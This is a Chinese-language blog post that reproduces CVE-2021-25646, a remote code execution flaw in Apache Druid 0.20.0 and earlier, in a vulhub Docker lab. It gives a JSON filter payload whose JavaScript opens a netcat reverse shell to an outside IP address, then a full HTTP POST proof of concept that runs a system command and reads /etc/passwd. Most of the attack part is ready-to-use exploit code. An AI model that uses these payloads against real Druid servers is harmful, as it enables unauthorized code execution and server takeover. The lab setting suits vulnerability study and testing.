Apache Druid命令执行(CVE-2021-25646)

漏洞详情:

Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码 。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。该漏洞源于攻击者可利用恶意JSON输入,通过function参数控制Rhino引擎执行的JavaScript代码,进而调用系统命令。

影响范围:

Apache Druid <= 0.20.0

漏洞复现:

pull影响范围内的druid版本镜像

复制代码
docker pull vulhub/apache-druid:0.20.0

运行容器

复制代码
docker run --rm -i -p 8888:8888 vulhub/docker-druid:0.20.0

开浏览器访问8888端口 ,无需认证可访问Druid console页面:

上传代码块

Base directory==》quickstart/tutorial

File filter==》 wikiticker-2015-09-12-sampled.json.gz

在下面这步开始抓包

在这里插入⬇️⬇️⬇️ function代码块

复制代码
, "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 121.43.48.229 9999 -e /bin/sh')}", "": {"enabled": true}}

上传执行指令

反连shell成功🏅

也有现成的poc
复制代码
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}
验证结果
相关推荐
安教安全员通关宝8 小时前
2026年广东安全员C3证考试题库+答案+解析
安全
沫璃染墨11 小时前
《Qt从零入门系列(十五):Qt线程安全与锁机制详解——从QMutex到RAII与读写锁实战》
开发语言·c++·qt·安全·交互·线程·qt6.3
Lyra_Infra11 小时前
prod-bus 主机 CPU 异常故障排查与安全事件分析报告
后端·安全
武天旭12 小时前
AI安全--AI大模型的数据投毒攻击污染
人工智能·安全
jimmyleeee13 小时前
Agent安全之二:Tool Misuse & Exploitation(ASI02)----当合法工具被用来做错事
人工智能·安全
林伽一13 小时前
训练断网、部署上门槛:AI 基础设施的两道新闸门|2026年10月25日
人工智能·科技·安全·ai·1024程序员节
长不大的杨瑞杰14 小时前
OpenCode v2 团队治理实战:多仓库 Policy、灰度发布与故障回滚
运维·人工智能·安全·软件工程·devops
loulanyue_14 小时前
当AI学会自主攻击与渗透破壁:Agent行为链失控与Mythos级攻防颠覆下的安全范式重构——读CNCC2026第六届网络生态治理论坛实录
网络·人工智能·安全
进击的丸子15 小时前
代理网络环境下 Linux Pro 在线激活实操指南
javascript·后端·安全
xiejava101815 小时前
【一个人的SOC】(12) AI 安全报告与主动推送——五种场景的自动化闭环
人工智能·安全·自动化·开源软件·安全运营·ai soc